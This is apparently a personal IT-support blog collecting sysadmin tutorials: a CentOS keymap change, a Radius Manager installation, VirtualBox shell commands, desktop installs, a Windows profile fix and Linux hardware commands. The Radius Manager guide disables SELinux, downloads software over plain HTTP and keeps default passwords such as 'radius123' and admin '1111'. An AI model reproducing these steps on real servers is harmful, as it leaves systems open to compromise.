Suporte informatico

Change keyboard layout on CentOS (RHEL)

VirtualBox - How to control virtual machine using shell

Installing Gnome/KDE (GUI) on Ubuntu/CentOS

VLC Sub Seach

How to Fix "You've been signed in with a temporary profile" Error in Windows 8, 8.1 and 10

16 commands to check hardware information on Linux

Como extrair as chaves (licensa) do windows 8 da BIOS/UEFI

3 Ways to extract the Windows 8 Product key from the BIOS/UEFI

Mikrotik Scrips

Fax2Email

CCNA VOICE Lab Manual: Establishing Network Connectivity and Understanding IP Phone Registration

Download de musicas em MP3 com super qualidade

Como Baixar Videos Do Youtube

Ouvir Música pelo Teminal no Linux pelo MOC Music On Consol

7 comandos mortais em Linux

Run... Command

iCare Data Recovery Pro

Lançado Puppy 5.4 (Precise, baseado no Ubuntu 12.04)

Solução Em Conectar Em Redes 100 Fio Encriptadas em WPA & WPA2

Red Alert & Yuri's Revenge

USB Show

Fenix Extreme 3.0

Introduction to Servers

Install Wine 1.3.8 in Ubuntu 10.10 D.White

Suporte informatico

Change keyboard layout on CentOS (RHEL)

VirtualBox - How to control virtual machine using shell

Installing Gnome/KDE (GUI) on Ubuntu/CentOS

VLC Sub Seach

How to Fix "You've been signed in with a temporary profile" Error in Windows 8, 8.1 and 10

16 commands to check hardware information on Linux

Como extrair as chaves (licensa) do windows 8 da BIOS/UEFI

3 Ways to extract the Windows 8 Product key from the BIOS/UEFI

Mikrotik Scrips

Fax2Email

CCNA VOICE Lab Manual: Establishing Network Connectivity and Understanding IP Phone Registration

Installing KDE

Installing Gnome

Lab 3-1: Network Connectivity

Lab 3-2: Network Time Protocol

Lab 3-3: Phone Boot/Registration Process

Basic Run Command Information

Common Tasks with Run

Creating Your Own Run Commands

Infrequently Used Run Commands

Using Run as a Command Prompt

Installing KDE

Installing Gnome

Lab 3-1: Network Connectivity

Lab 3-2: Network Time Protocol

How To Installing Radius Manager in CentOS 6.5

How to list virtual machines

How to print virtual machine states

How to start virtual machine

How to pause virtual machine

How to resume paused virtual machine

How to reset virtual machine

Search and download subtitles from opensubtitles.org using the hash of the video currently playing or its title.
INSTALLATION:
- click on the download button below
- save the archive and extract the file "vlsub.lua"
- create a directory "extensions" at this location and put the file "vlsub.lua" inside:
* Windows (all users): %ProgramFiles%\VideoLAN\VLC\lua\extensions\
* Windows (current user): %APPDATA%\vlc\lua\extensions\
* Linux (all users): /usr/lib/vlc/lua/extensions/
* Linux (current user): ~/.local/share/vlc/lua/extensions/
* Mac OS X (all users): /Applications/VLC.app/Contents/MacOS/share/lua/extensions/
* Mac OS X (current user): /Users/%your_name%/Library/Application Support/org.videolan.vlc/lua/extensions/

...or use the installer below if you're on Windows 7 (32 or 64)

To start the extension click on View > VLSub or Vlc > Extensions > VLSub on Mac OS.

/!\ Troubleshooting /!\

If you have other issue you can ask for a solution here or on github but please get the full vlc debug log and add it as a pastebin to your post. The procedure is explained here:
https://github.com/exebetche/vlsub/wiki/Troubleshooting

2014-09-12
Fix error with http 301 redirection

2014-08-19
Fix subtitles loading on Vlc 2.2

2014-05-08
Fix a bug due to opensubtitles header modifications

Hardware information

Summary

Task 1: Clear and Cable Devices

Task 2: Configure Basic Setup

Task 3: Configure the Switch

Task 4: Configure the Router Subinterfaces

Task 5: Verification

Task 6: DHCP Services

Task 7: Test and Cleanup

Task 1: NTP Services

Task 1: Questions

Configurando o MOC

Temas no MOC

Programs

Control Panels

Computer Administration Tools

Computer Administration Tools

What’s New Wine 1.3.8

How To Installing Radius Manager in CentOS 6.5

How to list virtual machines

How to print virtual machine states

How to start virtual machine

How to pause virtual machine

How to resume paused virtual machine

How to reset virtual machine

How to power off virtual machine

How to save state and then stop virtual machine

Notes

2014-09-12Fix error with http 301 redirection2014-08-19Fix subtitles loading on Vlc 2.22014-05-08Fix a bug due to opensubtitles header modifications

Hardware information

Summary

Task 1: Clear and Cable Devices

Task 2: Configure Basic Setup

Task 3: Configure the Switch

Task 4: Configure the Router Subinterfaces

Task 5: Verification

Task 6: DHCP Services

Task 7: Test and Cleanup

Task 1: NTP Services

2014-09-12
Fix error with http 301 redirection

2014-08-19
Fix subtitles loading on Vlc 2.2

2014-05-08
Fix a bug due to opensubtitles header modifications

What’s New Wine 1.3.8

Standard GUI

Simple GUI

Headless

Headless with VNC

1. lscpu

2. lshw - List Hardware

3. hwinfo - Hardware Information

4. lspci - List PCI

5. lsscsi - List scsi devices

6. lsusb - List usb buses and device details

7. Inxi

8. lsblk - List block devices

9. df - disk space of file systems

10. Pydf - Python df

11. fdisk

12. mount

13. free - Check RAM

14. dmidecode

15. /proc files

16. hdparm

Step 1-1: Clear Prior Configurations

Step 1-2: Cable Router and Switch

Step 2-1: Configure Basic Setup on the Router

Step 2-2: Configure Basic Setup on the Switch

Step 3-1: Create the VLANs

Step 3-2: Configure the Trunk Port

Step 3-3: Configure the Access Ports

Example 3-1. Verify That spanning-tree portfast Is Created by the Voice VLAN Assignment

Step 3-4: Configure the Switch Management Interface

Step 4-1: Configure the Data VLAN Subinterface

Step 4-2: Configure the Management VLAN Subinterface

Step 4-3: Configure the Voice VLAN Subinterface

Step 4-4: Activate the Router Interface

Step 5-1: Verify Switch VLAN Configuration

Step 5-2: Verify Switch Port Assignment

Step 5-3: Verify Router Subinterface IP Assignment

Step 6-1: Configure DHCP Pools on the Router

Step 7-1: Test Connectivity

Step 7-2: Save the Configurations

Step 7-3: (Optional) Explore Power Over Ethernet on the Switch

Step 1-1: Load Prior Configurations

Step 1-2: (Optional) Configure Local Time Zone

Step 1-3: Manually Set the Clock

Step 1-4 (Option A): Contact an NTP Server on the Internet

Step 1-4 (Option B): Configure Another Cisco Router to Act as an NTP Server

Step 1-5: Verify That the Time Is Synchronized

Example 3-2a. Output Showing Pod 11 Router Acquiring NTP Time

Example 3-2b. Output Showing Pod 11 Router Acquiring NTP Time

Example 3-2c. Output Showing Pod 11 Router Acquiring NTP Time

Example 3-2d. Output Showing Pod 11 Router Acquiring NTP Time

Example 3-2e. Output Showing Pod 11 Router Acquiring NTP Time

Example 3-2f. Output Showing Pod 11 Router Acquiring NTP Time

Example 3-2g. Output Showing Pod 11 Router Acquiring NTP Time

Step 1-6: (Optional) Configure the Switch to Get NTP from the Router

Step 1-7: Save the Configurations

Standard GUI

Simple GUI

Headless

Headless with VNC

1. lscpu

2. lshw - List Hardware

3. hwinfo - Hardware Information

4. lspci - List PCI

5. lsscsi - List scsi devices

6. lsusb - List usb buses and device details

7. Inxi

8. lsblk - List block devices

9. df - disk space of file systems

10. Pydf - Python df

11. fdisk

12. mount

13. free - Check RAM

14. dmidecode

15. /proc files

16. hdparm

Step 1-1: Clear Prior Configurations

Step 1-2: Cable Router and Switch

Step 2-1: Configure Basic Setup on the Router

Step 2-2: Configure Basic Setup on the Switch

Step 3-1: Create the VLANs

Step 3-2: Configure the Trunk Port

Step 3-3: Configure the Access Ports

Example 3-1. Verify That spanning-tree portfast Is Created by the Voice VLAN Assignment

Step 3-4: Configure the Switch Management Interface

Step 4-1: Configure the Data VLAN Subinterface

Step 4-2: Configure the Management VLAN Subinterface

Step 4-3: Configure the Voice VLAN Subinterface

Step 4-4: Activate the Router Interface

Step 5-1: Verify Switch VLAN Configuration

Step 5-2: Verify Switch Port Assignment

Step 5-3: Verify Router Subinterface IP Assignment

Step 6-1: Configure DHCP Pools on the Router

Step 7-1: Test Connectivity

Step 7-2: Save the Configurations

Step 7-3: (Optional) Explore Power Over Ethernet on the Switch

Step 1-1: Load Prior Configurations

Step 1-2: (Optional) Configure Local Time Zone

Step 1-3: Manually Set the Clock

delciomz@hotmail.com (D.White) — Mon, 4 Apr 2016 20:35:00 +0200

To change temporary (until reboot)

Run the following command

# loadkeys pt-latin1

Permanent setting:

Edit /etc/sysconfig/keyboard and

replace KEYTABLE="us" by KEYTABLE="pt-latin1"

save and reboot

delciomz@hotmail.com (D.White) — Mon, 4 Apr 2016 20:32:00 +0200

To successfully install Radius Manager on your host, You have to complete the following steps:

1. Install ionCube runtime libraries
2. Build and configure FreeRadius server
3. Configure MySQL database and credentials
4. Install Radius Manager WEB components
5. Install Radius Manager binaries
6. Complete the post installation steps and fine tuning

INSTALLATION Prerequisites:

To successfully install and run Radius Manager, You need the following components installed on the Linux host, If they are not installed already, don't worry we will install them in next step

Software Requirements:

FreeRadius 2.1.8 DMA mod 2 (downloadable from http://www.dmasoftlab.com)
• PHP 5 or better
• MySQL 5 or better
• MySQL development libraries
• php-mysql
• php-mcrypt
• curl, php-curl
• glibc 2.4 or better
• GNU C/C++ compiler

IonCube runtime libraries. They are downloadable freely from http://www.ioncube.com and http://www.dmasoftlab.com
• Javascript enabled browser on running on client machines

Preparing the Linux system Fedora 10

Install the necessary components on your Linux host before You begin the installation of Radius Manager.

1. Disable SeLinux in /etc/sysconfig/selinux and reboot your host:

1	SELINUX=disabled

2. On Fedora Core 10 install the required packages in one step:

1	yum install make php php-mysql php-mcrypt mysql-devel mysql-server gcc libtool-ltdl

[ Note: This will download and install about 60-70 mb of packages depends on you FED installation. Be patience if you have slow internet connection ]

*To install php-mrcypt in centos 6

1.rpm -ivh http://www.mirrorservice.org/sites/dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm

2.yum update

3.yum install php-mcrypt

Installation procedure of ionCube runtime system

Radius Manager requires ionCube runtime libraries. You can download them from: http://www.dmasoftlab.com/downloads

Before installing ionCube, You have to know the following:

1. The architecture of your Linux system (32 or 64 bit) (usually 32bit pc is used in most cases, I will use 32bit only as example)2. Which PHP version are You using (use php -v to view version info, hopefully you will get v5.2.9)
3. Where is your php.ini file located (On fedora its usually /etc/php.ini)

Example ionCube installationcd //

1. First create a temp folder in root

1	mkdir /temp
2	cd /temp

Now download ionCube by issuing following command

wget http://www.dmasoftlab.com/cont/download/ioncube_loaders_lin_x86.tar.gz

UNTAR the ionCube runtime libraries to /usr/ local/ioncube by using following command

1	tar zxvf ioncube_loaders_lin_x86.tar.gz

Now copy the ioncube foler to to /usr/ local/ioncube by using following command(note –make dir /usr/local/ioncube)

1	cp /temp/ioncube/* /usr/local/ioncube/

2. Add the appropriate ionCube loader to your php.ini. You have to add the following line in /etc/php.ini

1	zend_extension=/usr/local/ioncube/ioncube_loader_lin_5.3.so

3. Test the ionCube loader from shell:

1	[root@localhost]# php -v
2
3	You have to see the ionCube PHP Loader version displayed correctly.
4
5	PHP 5.2.9 (cli) (built: Apr 17 2009 03:29:12)
6	Copyright (c) 1997-2009 The PHP Group
7	Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies
8	with the ionCube PHP Loader v3.3.14, Copyright (c) 2002-2010, by ionCube Ltd.

4. Restart the web server by following command:

sevice httpd restart

5. Run ifconfig command from shell to determine the MAC address of the network interface card (NIC):

[root@localhost]# ifconfig

eth0 Link encap:Ethernet HWaddr 08:00:27:88:0E:68

6. Now it’s time to request a license for your server. If this is first time, Ask support@dmasoftlab.com to grant you id passwrod for customer portal. after getting Id, Log on to DMA Softlab customer’s portal (https://customers.dmasoftlab.com) and request a trial license for the hardware address (MAC address) of your network interface card.

Radius Manager will run only on the specified host and the license is binding to the MAC address of the network interface card. You can migrate Radius Manager to another host if You also move the same network interface card with it.

It is strongly recommended to request a license for a removable networking interface to allow migration to new host without loosing the license.

7. When a license file is issued (You will get a notification about it in email), download and copy the lic.txt and mod.txt to radiusmanager web directory (read the “Installation procedure of Radius Manager” chapter of this manual) to enable licensing of your Radius Manager installation.

Troubleshooting the ionCube loader system

If encoded files fail to run, you can test ionCube runtime by using the helper PHP script ioncubeloader-helper.php, which is included in the loader download archive.

1. Copy the ioncube-encoded-file.php PHP script to your http root (on Redhat-based system it is /var/www/html).

2. Try to access the ioncube-encoded-file.php script using your favorite web browser:

1	http://yourhost/ioncube-encoded-file.php

3. If You can see the message “This file has been successfully decoded. ionCube Loaders are correctly installed”, it means You have successfully installed ionCube runtime on your host and it is ready to use. If You can’t decode the file via a HTTP call, check the php.ini and be sure SeLinux is disabled.

Installation procedure of FreeRadius

Follow the installation steps to successfully build, install and configure FreeRadius RADIUS server on your host. Use only FreeRadius 2.1.8 DMA mod 2 source archive (downloadable from our site). It is prepared and tested by our team and it is 100% compatible with Radius Manager.

Other versions and builds will not function properly with Radius Manager. If your host already has a different FreeRadius version installed, remove it completely including it’s configuration files (/etc/raddb or /usr/local/etc/raddb).

Execute the following actions as super user (root user):

1. Download FreeRadius archive in /temp folder from the following URL: http://www.dmasoftlab.com/downloads by issuing following command

cd /temp

wget http://www.dmasoftlab.com/cont/download/freeradius-server-2.1.8-dmamod-2.tar.gz

2. Build FreeRadius server from sources. Do it in the following way. Ungzip and untar the FreeRadius archive:

1	gzip -d freeradius-server-2.1.8-dmamod-2.tar.gz
2	tar xvf freeradius-server-2.1.8-dmamod-2.tar

Create the makefile:

1	cd freeradius-server-2.1.8
2	./configure
3	make
4	make install

By default, FreeRadius will be installed in /usr/local directory.

3. Now You can test FreeRadius in debug mode. Start it with parameter -X

1	radiusd -X
2
3	Listening on authentication address * port 1812 Listening on accounting address * port 1813
4	Listening on command file /usr/local/var/run/radiusd/radiusd.sock Listening on proxy address * port 1814
5
6	Ready to process requests.

It must answer with “Ready to process requests”.
If radiusd cannot find the required libraries, issue ldconfig from shell to refresh the ld linker’s cache.

ldconfig

4. Set the correct permissions on FreeRadius configuration files (Fedora):

1	chown apache /usr/local/etc/raddb
2	chown apache /usr/local/etc/raddb/clients.conf

Radius Manager updates the clients.conf automatically, so it is necessary to set the correct permission on it. Do not modify the clients.conf by hand. Don’t forget to define allNASes in ACP with the correct secret and restart FreeRadius (from ACP or from shell) after modifying the NASes in the system.

5. Review and modify (if needed) the MySQL credentials in /usr/local/etc/raddb/sql.conf: by issuing following command

1	nano /usr/local/etc/raddb/sql.conf
2
3	# Connection info:
4	server = “localhost” #port = 3306
5	login = “radius”
6	password = “radius123”

Creating MySQL databases with MySQL command line tool

1	service mysqld start

Now, Log on to MySQL server as root:

1	mysql -u root -ppassword

Completing this step the databases are ready to use.

Installation procedure of Radius Manager

There are two methods of installation available:

1. Interactive, using the included installer script. (We will focus on this as its easier for newbie)

2. Manual installation, using Unix commands. (We will not discuss it as its already briefly described in RM Manual)

Interactive installation

The easiest way to install Radius Manager is to use the included install.sh script. It is located in Radius Manager tar archive and can be used on Redhat, Debian and (with slight modification of the environment) on other systems. Before You begin, be sure You have prepared the MySQL database tables and credentials. Radius Manager requires two databases:

1. RADIUS – for storing all system data, including users and accounting information.2. CONNTRACK – for storing connection tracking system (CTS) data.

Create both databases even on a non-CTS enabled system.

Now download RM (radiusmanager-3.9.0.tgz) from dma customer portal in /temp folder. Now decompress the Radius Manager tarball using following command.

1	tar xf radiusmanager-3.9.0.tgz
2	cd radiusmanager-3.9.0-rel-allpatches-1-5/

Now invoke the installer script, but first change its permission to 755. In the examples below we will use the installer script on Redhat / Fedora system.

01	chmod 755 install.sh
02
03	./install.sh
04
05	Radius Manager installer
06	Copyright 2004-2011, DMA Softlab LLC All right reserved.
07	(Use CTRL+C to abort any time)
08
09	Select the type of your operating system:
10	1. Redhat (Fedora, CentOS etc.)
11	2. Debian (Ubuntu etc.)
12	Choose an option: [1]

Select the operating system You have. For Redhat, RHEL, CentOS, Fedora select option 1.

Now select the installation method:

1	Select installation type:
2
3	1. New installation
4	2. Upgrade old system
5	Choose an option: [1]

For new installation, use option 1. You can see the default options after every question, so You can just press enter in most cases.

1	Choose an option: [1]
2	Selected installation method: NEW INSTALLATION
3	WWW root path: [/var/www/html]

Now define the HTTP root folder. The installer will create radiusmanager subfolder in it automatically. On Redhat You can simply press enter.

Now define the MySQL database credentials:

1	RADIUS database host: [localhost]
2	RADIUS database username: [radius]
3	RADIUS database password: [radius123]
4	CTS database host: [localhost]
5	CTS database username: [conntrack]
6	CTS database password: [conn123]

For the default setup simply press enter and use MySQL user “radius” with password “radius123” for RADIUS database, and conntrack / conn123 for CONNTRACK database.

The host is “localhost” by default. If You have different setup, specify proper values. If You are planning to use the system with hundreds of online users, it is recommended to use separate database host for CONNTRACK database.

In the next step You have to define the FreeRadius user. It must be the correct user to set the permission properly on /etc/radiusmanager.cfg. If there are permission problems on/etc/radiusmanager.cfg, Radius Manager binaries will not function at all.

Freeradius UNIX user: [root]

On Fedora it is root, so simply press enter.

Now define the HTTP user (the user name under Apache is running). It is required to set the permission on files in radiusmanager/config directory. On Fedora it is the apache user.

Httpd UNIX user: [apache]

You can now decide to create rmpoller service or not? It is a standard Fedora / Debian compatible service script which invokes rmpoller helper. You can also start rmpoller using alternative ways.

Create rmpoller service: [y]

In most cases simply press enter. When a service has been created, You can use the command (on Fedora)

service rmpoller [start | stop]

to control rmpoller service activity. Also make this service auto starting at boot time together with FreeRadius. Use command chkconfig -add rmpoller on or use Webmin to activate the service at boot time.

In the next step select yes if You want to create the rmconntrack service. It is a standard Linux service, like rmpoller. It is required for Radius Manager CTS only.

Create rmconntrack service: [y]

When a service has been created, You can use the command

service rmconntrack [start | stop]

to control rmconntrack service activity. Also make this service auto starting at boot time.

It is strongly recommended to create a full database backup before You continue. Answer ‘yes’ to the following question:

Back up RADIUS database: [y]

Now the system warns You it will overwrite the existing databases if You continue. Press ‘y’ to continue or ‘n’ to abort the installation process.

01	WARNING! If You continue You will overwrite the existing RADIUS database!
02	Are You sure to start the installation? [n]
03	You can press Ctrl+C any time to abort the installation process.
04
05	Starting installation process...
06	Backing up radiusmanager.cfg Backing up system_cfg.php Backing up netcash_cfg.php Backing up paypal_cfg.php Backing up authorizenet_cfg.php Backing up dps_cfg.php Backing up 2co_cfg.php
07	Copying web content to /var/www/html/radiusmanager Copying binaries to /usr/local/bin
08	Copying rootexec to /usr/local/sbin Copying radiusmanager.cfg to /etc
09	Backing up RADIUS database... Creating mysql tables
10	Creating rmpoller service
11	Creating rmconntrack service
12	Copying logrotate script
13	Setting permission on raddb files
14	Copying radiusd init script to /etc/init.d
15
16	Installation finished!

the installation process is finished, You can begin configuring the system with /etc/radiusmanager.cfg and radiusmanager/config files.

Add the following line to /etc/crontab to execute rmscheduler.php every day after midnight by issuing following command:

1	crontab -e

Now press i and add the the following entry.

1	02 0 * * * root /usr/bin/php /var/www/html/radiusmanager/rmscheduler.php 12345

Now press ESC button, now press SHIFT+: , now press wq
it will save the crontab and exit.
12345 is the default password, as it is defined in system_cfg.php. Always specify the full path of the PHP interpreter. If You are not sure, check it’s location before You add the crontab record. The password has to match the predefined one in system_cfg.php.

Now download the the license files (lic.txt and mod.txt) and copy them in in radiusmanager web folder

1	cp lic.txt /var/www/html/radiusmanager
2	cp mod.txt /var/www/html/radiusmanager

Now Try to access the ACP (Administration Control Panel) by pointing your browser to http://localhost/radiusmanager/admin.php. usename admin password 1111 (By Default)

Also test the functionality of the User Control Panel (UCP):

1	http://yourhost/radiusmanager/user.php username user password 1111 by default

delciomz@hotmail.com (D.White) — Mon, 21 Mar 2016 12:34:00 +0200

To list virtual machines and their UUID execute command:

$ VBoxManage list vms
"Debian - "Kolab dev"" {7ccf631e-a792-4aa3-b09c-96298ab41ff2}
"Crunchbang" {d485f4a1-7794-4502-8775-e6f67a16c8dc}
"Deepin" {6ce34e63-3632-42a4-8f6c-216c691c96b2}

To pretty print virtual machines use command:

$ VBoxManage list vms | sed "s/\"\(.*\)\".*/\1/"
Debian - "Kolab dev"
Crunchbang
Deepin

To print running virtual machines and their UUID use command:

$ VBoxManage list runningvms
"Crunchbang" {d485f4a1-7794-4502-8775-e6f67a16c8dc}

To list virtual machines and their corresponding states execute command:

$ VBoxManage list vms -l | grep -e ^Name: -e ^State | sed s/\ \ //g | cut -d: -f2- 
Debian - "Kolab dev"
 powered off (since 2013-07-19T21:17:55.000000000)
Crunchbang
 paused (since 2013-07-20T10:13:07.771000000)
Deepin
 powered off (since 2013-06-29T15:56:04.000000000)

Slightly different solution:

$ VBoxManage list vms -l | grep -e ^Name: -e ^State  | sed "s/Name:[ ]*\(.*\)/\1 \//;s/State:[\ ]*//" | paste -d " " - -
Debian - "Kolab dev" / powered off (since 2013-07-19T21:17:55.000000000)
Crunchbang / paused (since 2013-07-20T10:13:07.771000000)
Deepin / powered off (since 2013-06-29T15:56:04.000000000)

You are not forced to use VirtuaBoxManager GUI as it is not desirable in every case, it is also not very ergonomic to use mouse all the time.

To start virtual machine Crunchbang using standard GUI execute command:

$ VBoxManage startvm Crunchbang --type gui

You can safely omit type parameter in the above mentioned command as the standard GUI is used by default:

$ VBoxManage startvm Crunchbang

To use simple GUI without controls use command:

$ VBoxSDL --startvm Crunchbang

To start virtual machine using simple GUI without controls in the background execute command:

$ VBoxManage startvm Crunchbang --type sdl

To start virtual machine without GUI in the background execute command:

$ VBoxManage startvm Crunchbang --type headless

To start virtual machine without GUI execute command:

$ VBoxHeadless --startvm Crunchabang

To start virtual machine without GUI, but enabled VNC service execute command:

$ VBoxHeadless --startvm Crunchbang --vnc --vncport 5901 --vncpass passw

To pause virtual machine execute command:

$ VBoxManage controlvm Crunchbang pause

To resume virtual machine execute command:

$ VBoxManage controlvm Crunchbang resume

To reset virtual machine execute command:

$ VBoxManage controlvm Crunchbang reset


How to power off virtual machine

To power off virtual machine execute command:
$ VBoxManage controlvm Crunchbang poweroff


How to save state and then stop virtual machine

To save state of the virtual machine and then stop it execute command:
$ VBoxManage controlvm Crunchbang savestate


Notes

Please note that you need to be on user mode $, if you are on root mode # you will not be  able to run some of this commands.

delciomz@hotmail.com (D.White) — Sat, 19 Mar 2016 11:37:00 +0200

CentOS Linux Guides Ubuntu

Users who prefer a GUI to manage their server can install Gnome or KDE. These are the the most popular GUIs for Linux. In this tutorial, I'll explain how to install Gnome and KDE on both Ubuntu and CentOS.

KDE is a beautiful GUI. Installing it is very easy. Each of the commands need to be run by the root user. The first thing we're going to do is update everything.

On CentOS, execute:

yum update && yum upgrade

On Ubuntu, execute:

apt-get update && apt-get upgrade

After updating everything, we're going to install the GUI.

On CentOS, execute:

yum -y groupinstall "KDE desktop" "X Window System" "Fonts"

On Ubuntu, execute:

apt-get install kubuntu-desktop

This will also install some apps. If you just want the GUI, execute:

apt-get install kubuntu-desktop --no-install-recommends

Start up the server with the GUI.

On CentOS, edit the file:

vi /etc/inittab

Locate id:3:initdefault: and change 3 to 5.

Now restart your server.

On CentOS, execute:

init 6

The first thing we're going to do is update everything. As with KDE, each of the commands need to be run by the root user.

On CentOS, execute:

yum update && yum upgrade

On Ubuntu, execute:

apt-get update && apt-get upgrade

After updating everything, we're going to install the GUI.

On CentOS 7, execute:

yum groupinstall "GNOME Desktop" "Graphical Administration Tools"

On Ubuntu, execute:

apt-get install ubuntu-gnome-desktop

Now we need to start up the server with the GUI.

On CentOS 7, execute:

ln -sf /lib/systemd/system/runlevel5.target /etc/systemd/system/default.target

To remove Gnome on Ubuntu, execute:

apt-get remove ubuntu-gnome-desktop

Now restart your server.

delciomz@hotmail.com (D.White) — Sat, 12 Mar 2016 10:43:00 +0200

Changelog:

License: GPL

(VLSub 0.9.13)

delciomz@hotmail.com (D.White) — Wed, 9 Mar 2016 20:11:00 +0200

Information

This is for when after you sign in to a user account in Windows 8, and notice that a temporary profile has been loaded instead of the profile that corresponds to the current user. Therefore, any changes that you make to the current desktop are lost after you sign out. Additionally, the notification area may display the following error message:

You've been signed in with a temporary profile.

You can't access your files, and files created in this profile will be deleted when you sign out. To fix this, sign out and try signing in later. Please see the event log for more details or contact your system administrator.

This problem usually occurs if the user profile of the account was accidentally corrupted or deleted from the system.

This tutorial will show you how to fix the "You've been signed in with a temporary profile" error a user may get after signing in to their account in Windows 8, Windows RT, Windows 8.1, andWindows RT 8.1.

Note

This will basically delete the user profile of the user account that is getting the "You've been signed in with a temporary profile" error in order to reset and rebuild the user profile to fix this error.

A user profile is a collection of settings that make the computer look and work the way you want it to for a user account. It contains the account's settings for desktop backgrounds, screen savers, pointer preferences, sound settings, and other features. User profiles ensure that your personal preferences are used whenever you sign in to Windows.

How to read event log details for User Profile Service error:

Open Event Viewer (eventvwr.msc), then expand open Windows Logs and Application in the left pane.
Right click or press and hold on Application in left pane, click on Find, type 1511 (for Event ID), and click/tap on Find Next.
Close the Find dialog, and view details. Repeat to view any other listed 1511 Event IDs if needed.

EXAMPLE: "You've been signed in with a temporary profile" Notification Message

Here's How:

1. If you have another administrator account that is not affected by this user profile error, then sign out of the affected account (ex: Brink), and sign in to the other administrator account.

Note

If you do not have another administrator account to sign in to, then you could do one of the following options below to enable the built-in Administrator account to sign in to, and continue on to step 2 below.

A) If the affected account is an administrator, then enable the built-in Administrator account, sign out, and sign in to Administrator.

OR

B) Boot into safe mode, enable the built-in Administrator, sign out, and sign in to Administrator.

2. Back up anything that you do not want to lose in the C:\Users\(user-name) profile folder (ex: Brink) of the affected user account to another location. When finished, delete the C:\Users\(user-name) folder.

3. Press the + R keys to open the Run dialog, type regedit, and click/tap on OK.

4. If prompted by UAC, then click/tap on Yes.

5. In Registry Editor, navigate to the location below. (see screenshot below)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList

6. In the left pane under ProfileList, click on a SID key (S-1-5-21....long number). (see screenshot above)
NOTE: Usually, it will be for the SID key that has .bak at the end of the long number.

A) In the right pane of the SID key, look at the ProfileImagePath value to see if it is for the same user account name (ex: Brink) that has the user profile error.

B) If not, then repeat step 6 until your find it, then go to step 7 below.

7. Right click or press and hold on the SID key (ex: ...-1006.bak) found in step 6, and click/tap on Delete. (see screenshot below step 5)

8. Click/tap on Yes to confirm. (see screenshot below)

9. If there is another SID key (ex: ...-1006 at end) with the exact same long number from step 6 for the same user account (ex: Brink) without .bak at the end of it, then repeat step 7 and 8 above for it as well.

10. When finished, close Registry Editor.

11. See if you are now able to sign in to the user account (ex: Brink) from step 1 without getting the "You've been signed in with a temporary profile" error.

12. If successful, the affected account's (ex: Brink) user profile will be recreated and no longer receives the error. You can then copy any files you want back from the back up created at step 2.

That's it

Font: WindowsEight Forum

Tested...

delciomz@hotmail.com (D.White) — Mon, 25 Jan 2016 16:46:00 +0200

Like for every thing, there are plenty of commands to check information about the hardware of your linux system. Some commands report only specific hardware components like cpu or memory while the rest cover multiple hardware units.

This post takes a quick look at some of the most commonly used commands to check information and configuration details about various hardware peripherals and devices. The list includes lscpu, hwinfo, lshw, dmidecode, lspci etc.

The lscpu command reports information about the cpu and processing units. It does not have any further options or functionality.

$ lscpu
Architecture:          x86_64
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian
CPU(s):                4
On-line CPU(s) list:   0-3
Thread(s) per core:    1
Core(s) per socket:    4
Socket(s):             1
NUMA node(s):          1
Vendor ID:             GenuineIntel
CPU family:            6
Model:                 23
Stepping:              10
CPU MHz:               1998.000
BogoMIPS:              5302.48
Virtualization:        VT-x
L1d cache:             32K
L1i cache:             32K
L2 cache:              2048K
NUMA node0 CPU(s):     0-3

A general purpose utility, that reports detailed and brief information about multiple different hardware units such as cpu, memory, disk, usb controllers, network adapters etc. Lshw extracts the information from different /proc files.

$ sudo lshw -short

H/W path        Device      Class       Description
===================================================
                            system      ()
/0                          bus         DG35EC
/0/0                        processor   Intel(R) Core(TM)2 Quad CPU    Q8400  @ 2.66GHz
/0/0/1                      memory      2MiB L2 cache
/0/0/3                      memory      32KiB L1 cache
/0/2                        memory      32KiB L1 cache
/0/4                        memory      64KiB BIOS
/0/14                       memory      8GiB System Memory
/0/14/0                     memory      2GiB DIMM DDR2 Synchronous 667 MHz (1.5 ns)
/0/14/1                     memory      2GiB DIMM DDR2 Synchronous 667 MHz (1.5 ns)
/0/14/2                     memory      2GiB DIMM DDR2 Synchronous 667 MHz (1.5 ns)
/0/14/3                     memory      2GiB DIMM DDR2 Synchronous 667 MHz (1.5 ns)
/0/100                      bridge      82G35 Express DRAM Controller
/0/100/2                    display     82G35 Express Integrated Graphics Controller
/0/100/2.1                  display     82G35 Express Integrated Graphics Controller
/0/100/19       eth0        network     82566DC Gigabit Network Connection
/0/100/1a                   bus         82801H (ICH8 Family) USB UHCI Controller #4
/0/100/1a.1                 bus         82801H (ICH8 Family) USB UHCI Controller #5
/0/100/1a.7                 bus         82801H (ICH8 Family) USB2 EHCI Controller #2
/0/100/1b                   multimedia  82801H (ICH8 Family) HD Audio Controller
/0/100/1c                   bridge      82801H (ICH8 Family) PCI Express Port 1
/0/100/1c.1                 bridge      82801H (ICH8 Family) PCI Express Port 2
/0/100/1c.2                 bridge      82801H (ICH8 Family) PCI Express Port 3
/0/100/1c.2/0               storage     JMB368 IDE controller
/0/100/1d                   bus         82801H (ICH8 Family) USB UHCI Controller #1
/0/100/1d.1                 bus         82801H (ICH8 Family) USB UHCI Controller #2
/0/100/1d.2                 bus         82801H (ICH8 Family) USB UHCI Controller #3
/0/100/1d.7                 bus         82801H (ICH8 Family) USB2 EHCI Controller #1
/0/100/1e                   bridge      82801 PCI Bridge
/0/100/1e/5                 bus         FW322/323 [TrueFire] 1394a Controller
/0/100/1f                   bridge      82801HB/HR (ICH8/R) LPC Interface Controller
/0/100/1f.2                 storage     82801H (ICH8 Family) 4 port SATA Controller [IDE mode]
/0/100/1f.3                 bus         82801H (ICH8 Family) SMBus Controller
/0/100/1f.5                 storage     82801HR/HO/HH (ICH8R/DO/DH) 2 port SATA Controller [IDE m
/0/1            scsi3       storage     
/0/1/0.0.0      /dev/sda    disk        500GB ST3500418AS
/0/1/0.0.0/1    /dev/sda1   volume      70GiB Windows NTFS volume
/0/1/0.0.0/2    /dev/sda2   volume      395GiB Extended partition
/0/1/0.0.0/2/5  /dev/sda5   volume      97GiB HPFS/NTFS partition
/0/1/0.0.0/2/6  /dev/sda6   volume      97GiB Linux filesystem partition
/0/1/0.0.0/2/7  /dev/sda7   volume      1952MiB Linux swap / Solaris partition
